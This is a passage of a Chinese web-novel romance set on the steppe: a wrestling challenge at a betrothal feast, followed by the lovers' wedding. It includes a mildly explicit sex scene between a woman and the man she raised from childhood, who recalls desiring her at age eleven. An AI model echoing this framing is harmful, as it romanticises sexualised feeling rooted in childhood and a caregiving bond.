都兰的心头却猛地一跳,她似乎预感到了苏赫要说什么。 苏赫冷笑一声,缓缓说道:“按习俗,在我们部落的订亲宴上,随时欢迎有觉得自己比新郎更配得上新娘的勇士站出来,只要挑战新郎,战胜新郎,他就可以代替新郎与新娘订亲。” 苏赫转身看向谢清樾,“谢小将军,你也别觉得委屈,明日就算没有陈大人,我们部落,还有泰赤乌部的几名勇士也会前来挑战你,都兰可是我苏赫的掌上明珠,受欢迎得很!” 订亲宴上,前来挑战的勇士越多,自然也代表着新娘有多受欢迎,多风光,只不过从前苏赫不认为有谁能战胜谢小将军,那些勇士前来挑战,也只不过是为都兰涨涨气势罢了。 第64章 如今却不一样了。 陈锦时骑在马上,扬声问道:“苏赫首领,请问怎么挑战?” “很简单。”苏赫说,“就是摔跤。只要能在公平的较量中战胜新郎,就算挑战成功。” 他的目光充满审视地瞟向陈锦时,意味深长,同时,满是轻蔑的笑意。 作为都兰的阿爸,他简直爱死了这等场面,看着几名勇士为他女儿争斗得头破血流的场面。 都兰从马上跳下来,走到苏赫身后,对此事不发一言,也不打算为任何一个人说话。 陈锦时也翻身下马,走到谢清樾面前,眼神坚定:“谢将军,明日订亲宴上,我会向你挑战。” 谢清樾看着他,沉默片刻,缓缓点头:“好,我接受你的挑战。” 夜幕四合,毡房内灯火通明。苏赫正与牧仁、图雅围坐在炕桌旁,喝着马奶酒,兴致勃勃地讨论着明日的订亲宴。 图雅这时候才知道,陈大人也对自己家小姑子情根深种,明日要与那些勇士一起,挑战谢小将军。 陈锦时不在这儿,图雅朝着众人“啧”了两声:“陈大人这身板,能行吗?” 楼烦的勇士个个长得有他两个宽,谢小将军这两年吃牛羊肉吃的,也长得越发魁梧,跟头黑熊似的。 这些人打架,陈大人一个读书人 凑什么热闹,他站在这里面,跟个小白脸儿似的。 苏赫开口道:“只有最勇敢、最强壮的勇士才配得上都兰。” 都兰走到炕边坐下,要说担心陈锦时,还是有点担心的。 要拼武力,这么多年过去了,都兰心里清楚,陈锦时不大可能打得过谢清樾。 但陈锦时如果不被打死,就一定不会认输。 谢清樾要想赢,除非把陈锦时打死在台上。 那么,谁会赢呢? 苏赫看了都兰一眼,笑着问:“都兰,你想谁赢?” 都兰摇摇头,眼神坚定:“阿爸,不管谁赢,我都会嫁给他,这是咱们部落的老传统,不可违反。” 苏赫又笑着去逗其其格:“其其格想让谁赢?” 其其格扑到姑姑怀里:“我封陈大人做我的姑父!” 牧仁伸手拧她脸蛋儿:“你个小没良心的,谢小将军对你多好,这就把他忘啦。” 其其格摇摇头:“姑姑对我更好呀,我要把更俊俏的那个封给姑姑,稍微黑了点、壮了点的那个,其其格就勉为其难,留给自己好了。” 这话一说出来,哄堂大笑,图雅拧着其其格的耳朵:“你倒想得美呢,还留给自己。” 毡房内的气氛温馨而热闹,家人之间的欢声笑语,驱散了夜晚的寒冷,好似无论明日会迎来什么样的结果,都能欣然接受。 泰赤乌部的几名勇士如约而至,个个身材高大,肌肉发达,不知是几个曾经那位黑铁的分量。 虽说部落的传统是这样,但一般两家人已经谈好的婚事,中途若非有定要抢亲的勇士出来“捣乱”,前来挑战的勇士都是新娘家事先请过来压场子的,看着魁梧,实际上不会出真招式为难真新郎。 今日泰赤乌部的勇士们却得了苏赫的另一道指令。 “今日要拿出些真招式来,我可不想看着他们两个在场上为了争我女儿玩儿过家家的游戏,叫亲戚们看了笑话,你们要拿出楼烦勇士真正的勇猛来!” 订亲宴的酒席围了一圈,坐满了人,场地中央,用木桩围出了一个摔跤场。 苏赫作为裁判,站在场边,高声宣布:“按照规矩,挑战者依次上场,若能战胜新郎,便可取而代之,场上胜到最后的人为真正的新郎。” 谢清樾已换好劲装,他的两个哥哥站在一旁为他鼓舞。 “倒是从未见过这般道理,咱们家连聘礼都已经送上了,若你今日被打败了,咱们难不成还得把聘礼再搬回去?” 大哥谢清安道:“俗话说入乡随俗,既然人家这里有这个习俗,自然要遵守。再说,清樾会被打败吗?” 就在这时,苏赫高声请他过去:“谢将军,请你先上场守擂。” 谢清樾作为原本的新郎,深吸一口气,大步流星地走上了摔跤场。 他站在场中央,目光如炬,扫视着周围的人群,最后落在了陈锦时身上,眼神复杂。 陈锦时今日无心逞能,更无心摆出傲慢姿态,他唯有一个目的,那就是赢。作为挑战者,他可以选择最后一个上场,这是他最大的优势。 苏赫高声宣布:“挑战开始!” 底下吃席的人也顾不上口中嚼的肉了,忙站起身高呼。 其其格被牧仁托在肩上,也拍着小手高喊。 话音刚落,泰赤乌部的第一名勇士便如一头猛虎般扑了上来,目标直指谢清樾。 谢清樾早有防备,侧身灵巧地避开。巴图扑了个空,庞大的身躯差点冲出赛场,引得围观人群一阵哄笑和嘘声。 谢清樾抓住机会,反手抓住巴图的手臂,顺势一拉。巴图重心不稳,踉跄了几步,谢清樾乘胜追击,用肩膀顶住他的后背,猛地发力,“嘿!”一声将巴图狠狠摔在地上,尘土飞扬。 周围响起的全是嘘声,只有其其格拍手夸奖:“姑父厉害!” 但这只是开始。第二名、第三名勇士接连上场,招招都使出了真本事。 谢清樾虽身手矫健,正儿八经的武将出身,但也架不住对方人多势众。 从前听说有的部族嫁女儿,要女婿把全家亲戚喝趴下才算过关。 如今也是见识了,需要把全族亲戚打趴下才能娶回心上人的习俗。 每当谢清樾将一名勇士摔倒,人群就会爆发出一阵嘘声。 “敖其,你可真不行啊!站起来打他啊!” 都兰今日盛装打扮过,一身簇新的红色长袍,端坐在铺着羊毛毯的木凳上,姿态悠闲,那双平静的眼眸一直落在台上。 陈锦时就站在离她不远的地方,目光同样落在台上。 他能清晰地看到谢清樾每一次挥拳、每一次闪避,也能看到他额头不断滚落的汗珠和渐渐沉重的呼吸。 场上,第四名勇士已经上场,是个比之前几人更加粗壮的光头大汉。胳膊几乎有谢清樾的大腿粗。他上来二话不说,直接一个饿虎扑食,狠狠撞向谢清樾。 谢清樾体力已经耗去大半,人群中开始出现各种声音,夹杂在各种吆喝和起哄里。 苏赫捋着胡须,脸上依旧挂着那副看热闹不嫌事大的笑容。 面对对方的冲撞,谢清樾不退反进,就在两人即将相撞的瞬间,谢清樾猛地一个侧身,同时伸出右手,精准地扣住了对方的手腕。 他低吼一声,借着巴鲁前冲的巨大惯性,顺势一个漂亮的过肩摔! 巴鲁庞大的身躯被他硬生生地掀飞,重重砸在地上,震得尘土飞扬。这一下干净利落,连苏赫都忍不住“咦”了一声。 人群瞬间安静了,随即爆发出雷鸣般的叫好声。 就算再不愿承认楼烦勇士不如他,也不得不说这一手极漂亮。 谢清樾甩了甩有些发麻的手臂,喘着粗气,眼神中透露着已被激起的血性。 事已至此,苏赫请来的勇士都已过完招了,谁也不是冲着拼命来的,也不是真的来娶都兰的。 谢清樾用手背抹掉脸上的血汗混合物,终于看向陈锦时。 苏赫对今日情状很满意,虽说楼烦勇士打不过谢清樾,也正好代表了,他给都兰挑的女婿,是最好的勇士。 他开始神情自若地扫视场下,缓缓说道:“还有谁,要上去挑战。” “苏赫首领,”陈锦时的声音不大,却瞬间压过了所有喧闹,“我挑战。” 他的目光落上去,没有轻蔑,没有傲慢,只有一种近乎冷酷的坚定。 谢清樾身上带着一种久居上位、统领千军的威严,是浸淫军营多年而沉淀出的气场。 而陈锦时,在高堂上做了三年小心翼翼体察上意的文官,他身上再没有那种外放的、令人生畏的攻击性,却多了一些新的东西。 那是一种不动声色、掌控全局的沉敛,却让人再也看不透他的深浅。 他走到谢清樾面前,没有高昂着头颅,微微颔首:“谢将军,承让了。” 谢清樾看着他,眼中闪过一丝疲惫,但更多的是一种被激起的、属于战士的兴奋。他笑了笑,露出一口白牙,汗水顺着下颌线滴落。 “陈大人,请。” 都兰始终平静的眼睛里终于多了一丝别的东西。 命运总是这样不饶人,时至今日才恍然发觉,陈锦时真的长大了许多,长大到,再也回不到从前的模样。 大概她对他总有些不同情愫,她怜爱他。 苏赫见此,随意说了声:“开始吧。” 话音未落,陈锦时便动了。他知道自己弱点在哪儿,必须速战速决。 而谢清樾体力也已消耗殆尽,同样打的是速战速决的战术。 面对双方皆是全力一击的碰撞,两具身体狠狠撞在一起。陈锦时只觉得一股巨大的力量扑面而来,胸口像是被铁锤击中一般,剧痛难忍。他闷哼一声,身体不由自主地向后飞了出去,重重地摔在地上。 三年的差距拉开,两人不光是体型上的差别。 “哇!”人群发出一阵惊呼。 这一下摔得不轻,陈锦时感觉自己的骨头都快散架了。 谢清樾虽然也被震得后退了两步,但他毕竟是武将出身,抗打击能力远胜陈锦时。 他甩了甩发麻的手臂,看着倒地的陈锦时,眼神中闪过一丝复杂。 陈锦时爬起来,嘴角闪过一丝邪笑,自己还能扛,再来。 谢清樾没有丝毫犹豫,大步流星地冲了上去,想要乘胜追击,结束这场战斗。 陈锦时瞳孔骤缩,强忍着剧痛,在谢清樾的拳头即将落下的瞬间,猛地一个翻滚,险之又险地避开了。 “呼!”拳头砸在地上,尘土飞扬。 谢清樾一击未中,攻势不减。他如同猛虎下山,对陈锦时展开了狂风暴雨般的攻击。每一拳都势大力沉,每一脚都带着呼啸的风声。 一记重拳打在他的脸颊上,他感觉自己的牙齿都松动了,嘴角瞬间溢出了鲜血。又一记鞭腿踢在他的腰侧,他疼得蜷缩起来,差点失去意识。 其其格惊呼出声,差点哭出来。 都兰指尖掐进了掌心,但为了维持比赛公平,她脸上绝不能露出任何表情。 谢清樾停下了攻击,居高临下看他,沉声道:“陈大人,三年了,你如今已不是我的对手,你的战场也不在这里,认输吧,滚回京城去。” 陈锦时缓缓抬起头,抹去嘴角的血迹,眼神冰冷地看着谢清樾:“我陈锦时从小到大,就没有认输两个字!” 说完,他猛地用手臂撑起身体,再次摆出了战斗的姿态。 尽管他的每一次呼吸都带着剧痛,尽管他的身体在颤抖,但他依旧站在那里。 这是楼烦的规矩,他们想成为都兰的丈夫,必须要站在这里战斗。 谢清樾眼中不得不狠厉起来,他深吸一口气,再次攻了上去,这一次,他使出了全力,一拳直取陈锦时的胸口! 陈锦时浑身上下不知从何处爆发出一股蛮力,两人顿时绞打在一起。 陈锦时放弃了所有防守,每一次出拳都带着玉石俱焚的狠劲。 他挨了谢清樾重重一拳,嘴角涌出鲜血,却借着这股空隙,将拳狠狠挥上谢清樾的鼻梁。 “咚!” 一声闷响,谢清樾的鼻梁断裂,只觉鼻子一酸,陈锦时抓住这千钧一发的机会,不顾身上的剧痛,猛地扑上去,双臂死死地抱住了谢清樾的腰。 谢清樾没有停止攻击,但陈锦时完全放弃防守,只是用尽全身最后一丝力气,将谢清樾魁梧身躯向后掀去。 “噗通!” 两人一起摔倒在地,陈锦时压在了谢清樾的身上。 周围的人群瞬间安静下来,所有人都紧张地看着这一幕。 谢清樾力气已经耗尽,无论怎么用力,都无法撼动压在身上的人。 他能感觉到陈锦时滚烫的呼吸,和他身上传来的、几乎要燃烧起来的热度。 他心里清楚,再这么下去,两人只会你死我活。 他确定的知道,陈锦时身上已经断了两根肋骨,但他依旧不防守,他不仅不顾自己的命,更是招招奔着取他的命来。 谢清樾开始了自己的权衡。 为了一场婚事,值得吗? 谢清樾迟迟没有起来的动作,陈锦时眼神异常明亮,死死地盯着谢清樾的眼睛。 甚至,还夹杂着一丝兴奋。 谢清樾神色变得复杂,陈锦时好像在期待着,死在这个台上吗? 苏赫开始倒数的时候,他心底仍在权衡,如果翻身而起,他并不确信自己能全身而退的赢过陈锦时。 打死陈锦时吗?他没这么疯。 他看着陈锦时那双燃烧着疯狂火焰的眼睛,忽然意识到,这场较量,他不可能赢。 “我……认输。”谢清樾的声音沙哑,却带着一种前所未有的平静。 苏赫瞪着他,多问了一句:“你确定吗?谢将军。” 谢清樾扭头看向都兰,她仍旧平静地坐着,她似乎知道自己如果做出什么反应,必会影响战局的结果。 她要谢清樾完完全全的,按照他自己权衡认输还是继续打,而不是出于她的偏向。 而她的不偏不倚,也是陈锦时必然要经历的磨难。 他做她的孩子时,她可以无限地惯他、偏爱他、宠溺他。 但他现在争的是她丈夫的名头,那么她也不该再偏爱他。 陈锦时,靠自己。 苏赫走上前,目视着陈锦时身下的,谢清樾的眼睛,又问了一遍:“谢将军,只不过是断了区区一根鼻梁而已,你不会这就不行了吧?” 谢清樾视线从都兰身上收回来,缓缓闭上眼,再睁开时,已是一片清明。 “我认输。”他重复道,声音不大,却掷地有声,“输了就是输了,愿赌服输。” 苏赫脸上的笑容终于淡去,他看了看谢清樾,又看了看趴在他身上、气息奄奄的陈锦时,最终举起了陈锦时的手臂,高声宣布:“我宣布,挑战者陈锦时,胜!” 其其格在牧仁肩上激动地跳着,大喊:“姑父赢啦!姑姑!姑父赢啦!” 都兰松了一口气,瘫坐在椅子上。 她的轻松为的却不是自己能嫁给陈锦时,而是,陈锦时保下了一条命。 他这个人执拗至极,就算她与他说,最坏的情况下,她先嫁给谢清樾,也没什么,他只要活着,她说不定人到中年便改嫁给他了。 只要人还精壮地活着,留着青山在,不怕没柴烧。 身为男人,目光要放长远。 陈锦时哪里肯听这个。 沈樱最拿他没办法的便是这一点了。 她身为草原女人,原本没有忠贞观念,又向来听说中原男子朝三暮四、三妻四妾。 三年前她从京城离开,对他更多的不舍是来自亲情,毕竟相处多年。 对于同床共枕的情意,她其实一直看得很开,认为互相拥有、享受过一段时日便是足够了。 却没想到,他这般执拗地要一生一世,一双人。 他要做她一辈子的男人,就得听她的话。 她站起身,走向摔跤场,蹲下身,蹲在陈锦时脑袋旁边,往他嘴里塞了一粒丸药,又捏起他的手腕查探脉象。 谢清樾被他的两个哥哥扶着,尚且还站得住。 他看了一眼还躺在地上的陈锦时,眼中没有了不甘,只剩下一丝复杂的释然。 你好自为之。 他朝都兰微微颔首,算是打过招呼,转身离开了这里。 “陈锦时,你怎么样了?” 都兰查探过脉象,又轻声问他感受。 陈锦时睁开眼,几乎是用尽了全身最后一丝力气,猛地抬起手,扣住了都兰的后脑勺,将她的头往下按。 都兰惊呼一声,还没反应过来,温热的唇便覆了上来。 陈锦时的嘴唇干裂,带着打斗后的狼狈,但吻得却异常用力,仿佛要将都兰整个人揉进自己的骨血里。 都兰僵了一下,随即闭上了眼睛,反手抱住了他的脖颈,回应着这个吻。 其其格好奇地睁大眼睛,正要上前戳戳两个人,被图雅一把拉回去,还捂住了她的眼睛。 “其其格,谢将军现在心情不好,你拿着糖过去哄哄他。” 说着,图雅往其其格手心里塞了一把奶糖,指了指谢清樾的方向。 其其格很快被这件事情转移注意,拿了糖,蹦蹦跳跳地便去了。 这个吻吻得极深,直到两人都快要窒息,都兰才缓缓松开他。 他依旧躺在地上,大口大口地喘着气。 场下宾客开始吃席。 “苏赫首领,恭喜恭喜,觅得佳婿。” 苏赫瞥了眼陈锦时,脸上终于露出了笑容,对着前来道贺的宾客拱手:“同喜同喜,大家吃好喝好。” “来人,把姑爷抬到毡房里歇息,把牧仁叫过来给他看看。” 都兰站起身,几个年轻的牧民立刻上前,将陈锦时抬上木板。 宾客们一边吃着烤肉,喝着酒,一边兴致勃勃地讨论着刚才那场惊心动魄的较量。 “没想到陈大人打起架来这么不要命!” “苏赫可真是招了个好女婿。” 苏赫陪着几位部落的长老喝酒,听着众人嘴里的议论,脸上笑容越发灿烂。 谢清樾坐在一旁,牧仁过来替他查看伤势。 “呀,谢将军鼻梁伤得有些重,鼻血还没止住,我给你包扎一下吧。” 谢清樾点了点头,牧仁动作麻利地拿出草药和纱布,先是用清水帮谢清樾清洗了脸上的血迹,然后将捣碎的草药敷在他的鼻梁上,最后用纱布仔细地缠好。 “好了,谢将军,这草药有止血消肿的功效,过几天就好了。”牧仁拍了拍他的肩膀,引了句中原名言安慰道,“胜败乃兵家常事,你也别太往心里去。” 谢将军鼻孔里塞着止血的布,其其格看了咯咯直笑。 牧仁脸都黑了,戳了戳其其格的头:“其其格,看到别人受伤了应该笑吗?” 其其格收起笑,摇摇头,伸出手心,手心里放着几颗糖:“姑父,你吃糖,吃了糖就不疼了。” 谢清樾看着憋笑的小姑娘,揉了揉她的头:“谢谢你,其其格。” 牧仁作势又要教训其其格:“教了你好几次‘姑父’的意思了,你怎么还乱叫!” 谢清樾拦住了牧仁,声音的疲惫顿时被驱散了不少:“算了,小孩子嘛,不懂这些也正常。” 他拿起一颗糖,剥开糖纸放进嘴里。甜丝丝的味道在舌尖散开,似乎真的冲淡了鼻梁上传来的阵阵钝痛。 远处开始唱起歌来,陈锦时被安置在铺着厚厚羊毛毯的炕上,都兰给他盖上了温暖的被子。 牧仁从谢清樾那儿回来,倚在门边看他。 “陈大人,你可得快些养好身子,家里一堆活儿呢,谢小将军落下的活儿,你得接着干。”—— 作者有话说:牧仁:不帮家 里捡羊粪蛋的妹夫不是好妹夫 其其格:一个姑父、两个姑父、三个姑父、四个姑父…… 第65章 “都兰,他没事吧?”图雅走进来查看情况,瞪了丈夫一眼,“有你这么说话的吗?” 陈锦时看着倚在门边的牧仁,扯了扯嘴角:“哥哥,往后家里有什么需要的,尽管找我。” 图雅在炕边坐下,仔细打量了一下陈锦时的脸色,点了点头:“看你这精神头,应该死不了。” 她顿了顿,又接着说:“咱们楼烦人的日子就是这么过的,不像在京城那样的。每天都有干不完的活,哪一样都少不了力气。你今后是都兰的丈夫,以后这个家,也得靠你撑起来。” 沈清沅终于从里间走出来,开始仔细打量自己真正的女婿。 “图雅,哪有你说的那么难过,咱们家的日子早不像十几年前了。” “母亲。”图雅叫了声,把座位让出来。 沈清沅看了陈锦时一会儿。 陈锦时躺着给她请了个安。 “都兰与我不一样,她没我这么执拗,她在哪儿都能活下来。”沈清沅说着,忽然转口问道,“听说皇帝只叫你在楼烦待三年?” 陈锦时点头。 “那也就是了,三年后,你可想好了怎么把都兰带回去?” 陈锦时眼神变得坚定:“岳母大人,所有骂名我来担。” 眼看两人对话又要扯上那些事情去,都兰不爱听,连忙开口:“母亲,三年后怎么样还说不定呢,先把这三年过了再说吧。” 都兰心里想,三年,别说羊崽子,人崽子都够生一窝的了,想那么远的事儿做什么。 要是陈锦时不听话,三年后她说不定把他踹了。 沈清沅看了女儿一眼,轻哼了一声,都兰最是洒脱的性子,但愿三年后,别倒霉的又是谢将军,陈大人一走,被都兰薅过来给他们俩带孩子。 别说,谢将军当真干得出来这种事。 都兰真能把他使唤得团团转。 他也不觉得自己可怜。 不过男女之事,怎么着都是心甘情愿,外人说不清。 转眼金秋时节,草原上的风带着一丝凉意,都兰家已经带着牛羊转场到了水草更丰美的秋季牧场,这里山地背风,他们家整个冬季都会在这里度过。 一封盖着朱红大印的圣旨送到巡抚衙门。陈锦时展开一看,眉头微蹙。 朝廷向楼烦赏赐下来茶叶、丝绸若干,却在文末表示,部落需定期向朝廷“进贡”良马,以表“臣服”。 陈锦时受皇帝所托来此地已有半载,朝廷的好处给出了不少,看样子,这是是时候收点回报了。 他看穿了其中的政治意味,朝上大多数人仍认为,蛮夷应当强硬对待,若是好处给多了,反倒把这些人胃口给养大了。 “臣服”二字,如一根细刺,扎在陈锦时心头。 边境巡抚不好当,难就难在这儿。 他深知以苏赫在内的楼烦所有部落首领,都极重尊严,绝不会认可这样的话。 陈锦时如今已获得了苏赫的信任,就更不能将这样的信任再次打破。 哪怕他是都兰的未婚夫君。 清晨时分,陈锦时骑了一匹耐力极好的蒙古马,两天两夜可以抵达苏赫家现在所在的牧场。 都兰正提着奶桶,准备去挤牛奶,远远地就看见一个熟悉的身影骑着马,朝着他们家的毡房而来。 她眯起眼睛一看,是陈锦时。 都兰心中一喜,放下奶桶,快步迎了过去。 “不是说要到月底才来吗?” 陈锦时翻身下马,一把将都兰搂进怀里,用力抱了抱:“想你了,就过来看看。” 他身上满是风尘,赶路带来的疲惫清晰地刻在脸上。 眼睛里布着红血丝,下颌上冒出了青茬。 两人相拥了一会儿,都兰靠在他怀里,闻着他身上熟悉的气息,心里暖暖的:“我也想你。” 陈锦时松开她,牵着她的手,笑着说:“忙什么呢?” “挤奶呢。” “我陪你去。”陈锦时笑着说,顺手接过了都兰手里的奶桶。 他的皮肤被晒成了一种浅蜜色,衬得脖颈和手腕处的皮肤愈发干净。脸庞的轮廓也比从前更加清晰硬朗,下颌线紧致,带着一丝恰到好处的锋利感。 一双眼睛里少了朝堂上的算计与疏离,多了几分坦荡与温和,尤其是在看向都兰时,那里面的温柔几乎要溢出来,像盛满了草原上最清澈的湖水。 陈锦时挽起袖子,草原上的空气格外清新。 几头奶牛正悠闲地甩着尾巴。 两人一边挤奶,一边聊着天。陈锦时没有立刻提起圣旨的事,只是询问着牧场的情况,问她最近过得好不好。 “今年的草长得很丰茂,看来夏天的时候,这边雨水很多。” 都兰的手纤长而灵活,握住奶牛温热的乳-头,指节微微用力,雪白的牛奶便如丝绸般顺滑地流入桶中,发出汩汩的、带着生命气息的声响。 他学着她的样子,伸手去握奶牛的另一只乳-头。入手是温热而柔软的触感,牛奶温热地溅在他的手背上,一滴顺着他的手腕骨,滑进了宽大的袖口,留下一道乳白色的湿痕。 都兰轻笑了一声,伸手帮他擦掉。 他的眼神变了。 那里面像是藏着两团小小的火焰,热烈而专注地凝视着她。 “阿姆。” 桶里的牛奶还在缓缓积聚,散发着极为浓郁的香气。 挤完牛奶,两人提着奶桶回到毡房。苏赫和沈清沅已经起来了,正坐在炕边喝茶。 “哟,小陈来了。”苏赫笑着朝他招手,“是连夜赶过来的吧。” 陈锦时提着奶桶,笑着走进来。 图雅出来给陈锦时到了一碗奶茶,陈锦时接过,道了声谢,喝了一口。 图雅笑着往陈锦时碗里添了块奶豆腐,指尖碰到碗沿时还不忘叮嘱:“刚熬的奶茶,趁热喝才暖身子,看你这一脸风尘,定是没好好歇着。” 苏赫放下茶碗,指了指炕边的空位:“坐这儿来,正好跟你说说话。今年牧场的草长得旺,下月初打算把东边的羊群迁去河湾,那边的水甜,羊吃了长得快。”他说着,还拿起炕桌上的旱烟袋,慢悠悠卷着烟,眼里满是对牧场的盘算。 陈锦时正细细听着,就见其其格举着个啃了一半的烤土豆跑进 来,小皮鞋在毡毯上“哒哒”响。她凑到陈锦时跟前,仰着小脸看他:“姑父,你这次来,还带糖糕了吗?” 图雅在一旁敲了敲她的脑袋:“又嘴馋,快把土豆吃完。”其其格吐了吐舌头,却没挪步,依旧眼巴巴盯着陈锦时。 陈锦时笑着从怀里摸出个油纸包,里面是并州城里卖的桂花糖糕,递了一块给她:“慢点吃,别噎着。” 除了桂花糖糕外,剩下的是都兰爱吃的枣泥糕。 图雅往灶房走:“我去把早上煮的手把肉热一热,让你尝尝咱们刚宰的羯羊肉,炖得酥烂得很。” 都兰坐在陈锦时身边,悄悄握了握他的手,眼底满是笑意。 夜晚,他们躺在柔软的羊毛毯子上,羊毛毯子是都兰亲手织的,质感粗粝又软和,铺在草地上。 每一根羊毛都带着她指尖的温度,细密而温暖,像无数个温柔的吻,熨帖地裹着他们。 他忽然想,要是自己能在这样无人打扰的楼烦腹地永远生活下去就好了。 都兰的皮肤细腻光滑,带着特有的健康光泽,在月光下泛着淡淡的蜜色。 陈锦时的手掌覆在她的腰上,能清晰地感受到那细腻肌肤下温热的体温和轻微的颤动,仿佛有生命力在指尖下流转。 两人的唇瓣相触,带着彼此的温度与气息,像两股暖流交汇在一起。 但陈锦时学会了一些新的东西。 在她最神迷,脑海里即将要炸开烟花,脊背蹿升水流是,他骤然抽身而出。她睁开眼看他,抓住他的手臂,面露疑惑。 而他重复:“阿姆,你说你要我。” 这是他的渴望。 她原也以为自己不会屈服,她从来是上位者。 但那股戛然而止的东西令她昂起头颅,像一只引颈就戮的天鹅,她把住他结识的双臂,从唇间溢出祈求只语:“求你,时哥儿。” 他浑身一颤,被勾起了心底里最深处,最深处的渴望。 那陈锦时自然会倾尽全力,对阿姆涌泉相报。 宽大厚实的羊毛毯裹着两人赤裸身躯,都兰的脸颊泛着潮红,气息微促。 “阿姆,”陈锦时的声音低沉而沙哑,带着情事后的慵懒,他轻轻抚摸着她光滑的脊背,每一寸触感都让他蠢蠢欲动,“你知道吗?我肖想你许久了。” 沈樱捏紧了他的臀肌,感受着其间刚刚迸发过的惊人力量。 “是吗?”都兰在他怀里蹭了蹭,抬起头,眼神迷离的看着他,“什么时候?” “从你第一次将我揽进怀里开始。” 他闷声闷气地说:“阿姆,我那个时候就觉得,你的胸好大,早晚有一天能将我闷死。” 他学着白天给奶牛的动作,收紧手臂,将都兰更紧地拥在怀里。 都兰觉得自己有点罪过,他那个时候好像才十一岁吧。她无心之举,但她的双乳本就能哺育一切,她可以是大地之母、万物之母,她永远怀有一颗包容一切的心。 “哦。”都兰恍然大悟地望着天,指尖蹭过他紧实地脊背,感受着那下面蕴藏的力量。 按照苏赫的意思,婚事办得并不隆重。 前一晚,都兰与图雅坐在毡房后的草地上深聊了许久。 夜色渐浓,草原上的风带着凉意,吹得两人的头发都有些散乱。 “明天就要嫁人了。”图雅先开了口,她手里拿着一根草茎,无意识地在指尖缠绕着,“阿爸说不办得那么隆重,是舍不得你。” 都兰望着远处模糊的草甸轮廓,轻轻“嗯”了一声。 “你喜欢他吗?都兰。” “嗯?” 图雅转过头,脸上露出隐藏了许久的惊讶神色:“我才知道他原来是被你当成儿子养大的。” 都兰笑起来:“那都是过去的事了。” “他对你一直都有这种心思吗?” 图雅像是刚知道了什么炸裂秘密的小姑娘,有许多好奇的问题。 提到从前,都兰的脸颊有片刻泛红,有些感到羞臊,但很快恢复了洒脱。 “是啊,”她笑了笑,露出一口白牙,“他是我一手带大的。” 图雅被她逗笑了:“难怪阿爸看不惯他。把人从小看到大就罢了,这是咱们一家应该做的,到头来,还得嫁给他,真是便宜他了。” 都兰嘴角挂着一丝浅笑,托腮望着夜空,缓缓道:“所以阿爸说,不是我嫁给他,是他赘给我们家。” 秋日的阳光,像一层薄薄的金纱,温柔地覆盖在楼烦草原上。 都兰家的秋季牧场,今天格外热闹。毡房被打扫得一尘不染,周围用五彩的布条和新鲜的柳枝装饰起来,空气中弥漫着煮羊肉、马奶酒和酥油茶混合的浓郁香气。 按照楼烦的习俗,婚礼要在草原上搭起一座临时的“喜帐”。这座喜帐比寻常的毡房大上三倍,用的是最新鲜的羊毛编织而成,上面还绣着象征吉祥的太阳、雄鹰和羊群图案。 陈锦时头上戴着一顶皮帽,帽顶插一根长长的孔雀翎,显得十分英武。 穿着一身崭新的、宝蓝色的长袍,腰间系着都兰亲手缝制的皮质腰带,上面镶嵌着一颗小小的绿松石,腰带上还悬挂了餐刀、火镰,这些都是草原生活中不可缺少的物件儿。 脚上一双高筒的皮靴,靴尖向上翘起,靴筒直到膝盖下方。 他的头发不再是中原文人的发髻,而是按照楼烦男子的样式,编织在脑后,束成一个高高的马尾。 他站在喜帐外,有些紧张地整理着衣襟,目光不时望向远处的小路。按照习俗,新娘都兰会在家人的陪伴下,骑着马,从自己的毡房缓缓来到喜帐。 没过多久,一阵清脆的马蹄声和欢快的歌声传来。陈锦时立刻挺直了身体,朝着声音的方向望去。 只见都兰骑着一匹白色的骏马,在牧仁和图雅的陪伴下,缓缓走来。 她一身火红的楼烦新娘装扮,头上戴着用红色珊瑚和珍珠串成的头饰,露出一双明亮动人的眼睛。 她的身姿挺拔,骑在马上,像一朵盛开在草原上的艳丽花朵,耀眼而夺目。 陈锦时的心跳瞬间加速,他快步走上前,在都兰的马前停下。 按照楼烦的婚礼仪式,牧仁先翻身下马,将都兰从马背上扶了下来。 然后,陈锦时伸出手,握住了都兰的手。她的手有温暖而柔软,紧紧地回握住他,传递着彼此的温度。 两人并肩走进喜帐。喜帐里,苏赫和沈清沅坐在最上方的位置,脸上满是欣慰的笑容。 婚礼仪式由部落里最年长的萨满主持。萨满手持法器,口中念着古老的祝福咒语,祈求长生天保佑这对新人永结同心、幸福美满。 然后,陈锦时和都兰一起向苏赫和沈清沅跪拜行礼,敬上了满满的马奶酒。 “阿爸,阿妈。”陈锦时和都兰齐声说道。 接下来,陈锦时和都兰又向在场的部落亲友们一一敬酒。大家纷纷送上祝福,喜帐里充满了欢声笑语。 谢清樾也来了,他坐在席间喝酒。 其其格今天很高兴,因为她有吃不完的糖。 图雅没空管她,陈锦时从衙门里给她带了各种各样的糖,装在一个精致的木盒子里,有红色的、绿色的、白色的。 陈锦时知道其其格喜欢甜的。 小姑娘穿着一身粉色的蒙袍,手里紧紧攥着一颗糖,含在嘴里,甜得眼睛都眯成了一条缝。 图雅忙乱中注意到她,连忙把她塞到谢清樾手上:“谢将军,劳你管着点她,我还要去席上帮忙,别叫她捣乱就行。” 谢将军也不是第一次帮他们家带孩子了,图雅使唤得都有点习惯了。 谢清樾笑着点头:“嫂子,你尽管忙去吧,其其格交给我就行。” 图雅一走,其其格朝他伸出手,手心里摊着几颗不同颜色的糖:“姑父,你想吃哪颗?” 谢清樾无意纠正她有关于姑父的误解,从她手里取来一颗裹着绿纸的糖:“要这颗吧。” 其其格捂着肚子笑了一会儿,等他吃了以后,她便道:“姑父,这是新娘子吃的糖,你吃了糖,就得当新娘子。” 谢清樾一愣:“这话怎么说?” 大抵是小孩子间的游戏,用糖纸颜色来抽取过家家时的身份,在其其格的游戏里,谢清樾得当新娘子。 婚礼仪式已在喜帐内达到了高潮。 萨满吟唱的祝福声越来越高亢,手中的法铃叮当作响,整个喜帐内弥漫着一种庄严而神圣的氛围。陈锦时和都兰并肩跪在毡毯上,低着头,聆听着长生天的祝福。 “锦时,”苏赫的声音低沉而有力,带着草原汉子特有的厚重感,“从今天起,你就是我苏赫的女婿,是我们答兰部 落的一员。我把都兰交给你,你要像爱护自己的眼睛一样爱护她,像守护草原一样守护她。能做到吗?” 陈锦时接过银碗,目光坚定地看着苏赫:“阿爸放心,我陈锦时对天发誓,此生定不辜负都兰,定不辜负部落的信任。” 